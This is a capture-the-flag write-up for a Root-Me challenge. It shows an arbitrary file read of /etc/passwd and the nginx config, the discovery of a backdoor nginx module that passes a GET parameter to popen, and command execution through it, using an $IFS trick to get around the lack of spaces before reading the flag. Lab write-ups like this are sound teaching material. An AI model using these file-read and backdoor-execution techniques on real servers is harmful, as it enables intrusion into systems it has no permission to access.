Statement: Your trainee made a final commit on the last day of his course, and since then you’ve seen a huge influx of requests. Strangely, you can no longer connect to the server …

Can you analyse what’s going on?

Author : Elweth


Once on the site, I reach the following page : traineetrainee

I’ll start by trying to read the /etc/passwd file to test the file read functionality :

# http://node3.challenges.ctf20k.root-me.org:42710/?filepath=%2Fetc%2Fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin

Now that I know it’s possible to read system files, I start by looking at the headers returned by the web server to find potentially interesting files to read :

curl -I "http://node3.challenges.ctf20k.root-me.org:42710/"

HTTP/1.1 200 OK
Server: nginx/1.24.0
Date: Sat, 10 May 2025 10:06:40 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1585
Connection: keep-alive

Thanks to the server response, I know that the web server works with nginx.

I start by trying to read nginx log files on the theory that the exploit could be log poisoning, but nothing conclusive.

After a few tries, I retrieve the contents of /etc/nginx/nginx.conf :

worker_processes 1;
events {
    worker_connections 1024;
}

http {
    include mime.types;
    default_type application/octet-stream;

    server {
        listen 80;
        server_name localhost;

        location / {
            proxy_pass http://127.0.0.1:5000;
        }

        location /Th1s_3ndp0int_1s_S3cr3t {
            # Private endpoint for the Nginx module developed by the trainee.
            # I haven't taken the time to check the code yet ... it seems good.
            # /usr/local/src/root-me-backdoor/ngx_http_root_me_backdoor_module.c
            root_me_backdoor on;
        }
    }
}

Reading the configuration file, I notice the presence of the endpoint Th1s_3ndp0int_1s_S3cr3t which refers to the nginx module /usr/local/src/root-me-backdoor/ngx_http_root_me_backdoor_module.c.

Afterwards, I read the contents of the nginx module and I note the following points :

  • The server responds only with a GET request :
if (r->method != NGX_HTTP_GET) {
    return NGX_HTTP_NOT_ALLOWED;
}
  • The presence of the r00t-m3.backd0or GET parameter :
ngx_str_t param_name = ngx_string("r00t-m3.backd0or");
  • The r00t-m3.backd0or parameter is used to perform an RCE :
fp = popen(command, "r");

It’s now possible to execute commands via the following URL :

#http://node3.challenges.ctf20k.root-me.org:42710/Th1s_3ndp0int_1s_S3cr3t?r00t-m3.backd0or=id

uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

By performing various commands, I notice that spaces are not supported and that the output only returns the first line.

So I use the $IFS variable to make spaces and pipe commands via tr$IFS'\\n'$IFS'=' to replace line ends with an = :

#http://node3.challenges.ctf20k.root-me.org:42710/Th1s_3ndp0int_1s_S3cr3t?r00t-m3.backd0or=ls$IFS-alh$IFS/|tr$IFS%27\\n%27$IFS%27=%27

# I've reformatted the output for the WU to make it easier to read.
total 88K
drwxr-xr-x   1 root root 4.0K May 10 16:25 .
drwxr-xr-x   1 root root 4.0K May 10 16:25 ..
-rwxr-xr-x   1 root root    0 May 10 16:25 .dockerenv
drwxr-xr-x   1 root root 4.0K May  7 08:20 app
drwxr-xr-x   1 root root 4.0K May  7 08:19 bin
drwxr-xr-x   2 root root 4.0K Aug 14  2024 boot
drwxr-xr-x   5 root root  340 May 10 16:25 dev
drwxr-xr-x   1 root root 4.0K May 10 16:25 etc
-rwxrwxrwx   1 root root   32 May  7 08:04 flag-9fb215456edeadc855c755846be83cc310a5d262aa5d9360dd27db9cd0141a9d
drwxr-xr-x   2 root root 4.0K Aug 14  2024 home
drwxr-xr-x   1 root root 4.0K May  7 08:19 lib
drwxr-xr-x   1 root root 4.0K May  7 08:18 lib64
drwxr-xr-x   2 root root 4.0K Apr 28 00:00 media
drwxr-xr-x   2 root root 4.0K Apr 28 00:00 mnt
drwxr-xr-x   2 root root 4.0K Apr 28 00:00 opt
dr-xr-xr-x 631 root root    0 May 10 16:25 proc
drwx------   1 root root 4.0K May  7 08:20 root
drwxr-xr-x   3 root root 4.0K Apr 28 00:00 run
-rwxr-xr-x   1 root root  134 May  7 08:04 run.sh

All I have to do now is read the contents of the flag-9fb215456edeadc855c755846be83cc310a5d262aa5d9360dd27db9cd0141a9d file to retrieve the flag :

#http://node3.challenges.ctf20k.root-me.org:42710/Th1s_3ndp0int_1s_S3cr3t?r00t-m3.backd0or=cat$IFS/flag-9fb215456edeadc855c755846be83cc310a5d262aa5d9360dd27db9cd0141a9d

RM{My_Tr4inee_B4ckd00r_My_Ng1nx}

Flag : RM{My_Tr4inee_B4ckd00r_My_Ng1nx}